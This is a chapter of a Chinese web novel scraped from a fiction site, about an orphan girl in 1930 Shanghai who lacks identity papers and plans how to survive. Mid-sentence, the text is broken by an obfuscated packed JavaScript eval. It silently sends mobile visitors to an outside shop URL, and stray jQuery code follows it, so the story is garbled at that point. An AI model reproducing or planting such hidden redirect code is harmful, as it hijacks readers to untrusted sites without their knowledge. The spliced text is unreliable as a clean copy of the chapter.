文趣网 > 都市小说 > (民国)沪上沉浮 > 1. 第一章
    第1章乱世睁眼,黑户落地

    闷热、腥腐、混杂着河水与烂菜的浊气,是林晚恢复意识的第一缕感知。

    眼皮重得像灌了铅,反复挣扎好几次,才勉强掀开一条缝隙。

    入目不是熟悉的房间,不是透亮的玻璃窗,是低矮歪斜的竹棚顶。

    枯黄的竹篾层层叠叠,漏下细碎刺眼的日光,晃得她眼底发花,脑袋一阵阵发空发沉。

    浑身发软,四肢无力,连抬手的力气都没有。

    胸腔空荡荡的,胃里绞痛翻涌,是长期饥饿掏空身体的虚浮感。

    她躺着不动,任由杂乱的记忆碎片,一点点挤进脑海。

    十八岁的少女,一觉醒来,落在了民国十九年的上海。

    闸北华界,江边棚户片区。

    她附身的是一个同名同姓、无亲无故、流落沪上、活活饿死的孤女。

    没有家世。

    没有籍贯凭据。

    没有居住登记。

    没有熟人依仗。

    彻头彻尾的无根黑户。

    林晚微微偏头,视线缓慢扫过周遭。

    这是一间不足数平的简易棚户,四壁是拼接的烂木板和旧竹席,缝隙遍布,透风又透光。地面是夯实的湿泥,凹凸不平,角落里堆着几捆干枯杂草,是原主唯一的铺盖。

    屋里空空荡荡,再无他物。

    没有吃食,没有铜板,没有衣物替换,连一块完整的粗布都找不出来。

    真正的一穷二白。

    外头不断传来嘈杂人声、挑担轱辘滚动的声响、小贩沙哑的叫卖声,还有时不时响起的呵斥,乱糟糟揉在一起,构成民国十九年夏日最真实的市井喧嚣。

    林晚缓了许久,才勉强攒出一丝力气,指尖抠着湿泥地,慢慢撑着身子坐起来。

    动作幅度极小,不敢急,不敢猛。

    身体太虚了,稍微一动,眼前就阵阵发黑,头晕目眩。

    她低头看向自己的手。

    干枯、蜡黄、指腹粗糙,腕骨细得仿佛一折就断。

    这具身子长期饿肚子、熬苦力、缺衣少食、风吹日晒,早已亏空到底。

    别说重活,就连长久站立、快步走路,都是一种负担。

    心底涌起一阵茫然的慌乱。

    脑子里装着另一个安稳时代的记忆,可这份记忆,半点用处都没有。

    不能当饭吃,不能当钱花,不能替她规避乱世的灾祸。

    只会徒增一层割裂的茫然,压得人心头发沉。

    外头忽然响起一阵整齐的脚步声,由远及近,带着一股压迫性的肃静。

    原本嘈杂的街巷,瞬间安静了大半。

    零星的说话声骤然压低,挑担的人下意识停住脚步,街边坐着闲聊的人纷纷收敛姿态,低头垂目,不敢随意张望。

    林晚的心,瞬间提了起来。

    她下意识往前挪了挪身子,透过木板缝隙往外看。

    几名穿制服、戴大檐帽的巡街人员,正沿着棚户街巷缓步巡查。

    步子不快,眼神却锐利,左右扫视着街边每一个人。

    他们不特意查大户、查商铺,只盯着街边游荡、面生陌生、无依无靠的流民。

    “都守好自己的住处,无事不要沿街游荡。”

    “无籍滞留、无铺保落脚的,一律带走问话。”

    “近期片区核查从严,谁也别顶风违规。”

    冷硬的喊话声,清晰传进每一间棚户。

    街边一个衣衫破烂的汉子,大概是外来流民,眼神闪躲,下意识想要往巷口溜。

    刚跑两步,就被巡街人员伸手拦下。

    “站住!”

    汉子浑身一僵,脸色瞬间惨白。

    “哪人?来沪多久?住处在哪?有无登记凭据?”

    一连四问,句句戳在底层流民的死穴上。

    汉子嘴唇哆嗦着,支支吾吾答不出完整话。

    “我、我刚来没多久……暂时没落脚的地方……”

    话音落下,结局已然注定。

    两名巡街人员上前,直接扣住他的胳膊。

    “无凭无据,流民滞留,带走安置。”

    汉子瞬间慌了,拼命挣扎求饶。

    “官爷!我就是来讨口饭吃的!我没惹事!我安分得很!”

    “求求你们放我一回!我马上走!马上离开!”

    求饶声凄厉又卑微,却没有任何人驻足帮忙。

    街边百姓全都低头避视,人人自危,没人敢多嘴,没人敢牵连自身。

    乱世之中,自保是唯一本能。

    拖拽的声响持续片刻,那名汉子被强行带走,街巷重新恢复安静。

    只是这份安静里,藏着所有人压在心底的惶恐。

    离得不远的棚口,两名洗衣归来的妇人,压低声音小声交谈。

    “又带走一个,这几日查得是真严。”

    “可不是嘛,越是夏天流民越多,上头就越要清人。”

    “有住处、有登记、有铺保的还好说,像那些孤身来沪、啥凭据都没有的,压根扛不住查。”

    “扛不住能怎样?要么被带走安置,要么被驱逐出城,横竖没有活路。”

    另一人轻轻叹气,眼神无奈。

    “底层人,靠力气吃饭,可这年头,有力气都不一定能活。”

    字字句句,落在林晚耳中。

    她坐在昏暗的棚屋里,指尖死死攥着身下的湿泥,掌心一片冰凉。

    她和刚才被带走的汉子,没有任何区别。

    一样孤身一人。

    一样无籍无凭。

    一样没有住处登记。

    一样没有任何人可以担保。

    纯纯的待遣流民。

    只要被巡街的人多看一眼,上前盘问两句,她根本无从辩驳。

    容错率,是零。

    巨大的恐慌死死攥住她的心脏,让她呼吸都有些发紧。

    她不是不害怕。

    她怕得要命。

    会慌、会焦虑、会手足无措、会下意识想要逃避。

    所谓的冷静,从来都不是天赋。

    是亲眼看见乱世规则、亲眼看见旁人绝境之后,被极致的恐惧硬生生逼出来的硬撑。

    林晚闭眼,深吸一口浑浊的空气,强迫自己稳住发抖的身子。

    不能慌。

    慌没用。

    越慌越乱,越乱越容易出错,越容易死。

    她睁开眼,视线落在自己孱弱单薄的四肢上,一条条活路在心底快速过了一遍。

    第一个念头,便是码头。

    码头搬运算是这片棚户最常见的营生,只要有力气,当日就能结几个铜板。

    念头刚起,她试着微微撑起身子,一阵眩晕立刻席卷上来,胸口闷得发疼。

    就这一副身子,别说扛起百斤货箱,怕是来回走上半里路都要直接栽倒。

    这条路,走不通。

    她又想起街边大大小小的作坊,纺纱、缝补、糊纸盒,不少作坊都招女工。

    可片刻之后她便垂下了眼。

    坊主大多要熟手,还要本地人做保

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17828729|211292||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,像她这样来历不明的孤身女子,人家连门都不会让她踏进。

    替人家洗衣、拾荒捡菜叶?

    拾荒只能勉强换几口野菜,饱一顿饥一顿,终究不是长久之计;洗衣的活早被片区里住久了的妇人占满,外人很难插上一脚。

    一条又一条路子,接连被现实堵死。

    她慢慢回想自己还记得的那些文字。也就仅仅认得字,能够提笔抄写,除此之外,她什么手艺都没有。

    心底杂乱的念头一点点沉淀、收拢。

    恐慌还在,焦虑未消,前路依旧一片茫然。

    可万般选择尽数断绝之后,只剩下了这一条最不起眼的路。

    不靠体力搏命。

    靠笔墨蛰伏。

    乱世识字不算本事,却足够低调、足够安全、足够隐蔽。

    可以替人抄字、记账、誊写文稿,做最零碎、最安稳、最低调的文字活。

    不显眼、不冲突、不费体力,能一点点攒铜板、攒口粮、攒立足的资本。

    先活下来。

    再慢慢攒银钱、攒微弱人脉。

    往后总要想办法弄到一样凭据,一样能证明自己可以留在此地的东西。

    她眼下尚且不知那东西叫什么、去哪里求取、又要付出多少代价。

    可方才巡街抓人那一幕清清楚楚摆在眼前:有凭证的人安稳,一无所有的流民,命不由己。

    蛰伏谋生,慢慢扎根。

    恐慌稍稍松动了些许。

    但她很清楚,这不是通透,不是运筹帷幄。

    只是绝境里别无选择的妥协。

    能想明白,是被逼的。

    能稳住,是吓出来的。

    半点特殊的优势都没有。

    棚屋外,巡查的脚步声渐渐走远,街巷里的人声慢慢恢复,可所有人的姿态依旧拘谨,不敢肆意说笑走动。

    又过片刻,隔壁棚屋传来推门的轻响。

    一位常年住在这片片区的中年妇人,端着一盆洗好的野菜,蹲在门口控水。

    妇人抬头,瞥见林晚这间始终死寂的棚屋,对着不远处的邻居随口搭话。

    “隔壁那姑娘,怕是又熬得动不了了,连着两三天都没见出门找活,也不知是病了还是怎样。”

    邻居老汉坐在小板凳上抽旱烟,吐出一口烟雾,声音沙哑疲惫。

    “动不了又能怎样?出去找活,身子扛不住;不找活,没吃食,横竖难活。”

    “这孩子也是命苦,孤身一个,没人帮衬,这年头,孤身的姑娘家最难熬。”

    妇人叹了口气,眼神怜悯又无奈。

    “谁不是熬日子呢。这片棚户,今日活明日死,太寻常了。”

    两人随口闲谈,没有恶意,只是看透乱世底层的麻木感慨。

    一字一句,都真实得残酷。

    林晚坐在屋内,静静听着。

    她没有出去搭话,没有探头张望。

    刚来此地,陌生无依,多说多错,多动多破绽。

    她依旧维持着最安分、最不起眼的姿态。

    身子虚,肚子饿,心慌乱,前路茫茫。

    她会软弱,会动摇,会害怕自己撑不下去。

    可她不敢停。

    她抬手,轻轻按了按空空如也的肚子,指尖微微发颤。

    第一步,先撑过今日。

    夏日的热风穿过木板缝隙,吹在身上,带着滚烫的温度,却吹不散她心底沉沉的寒意。

    乱世睁眼,黑户落地。

    她的求生路,从这一刻,正式开始。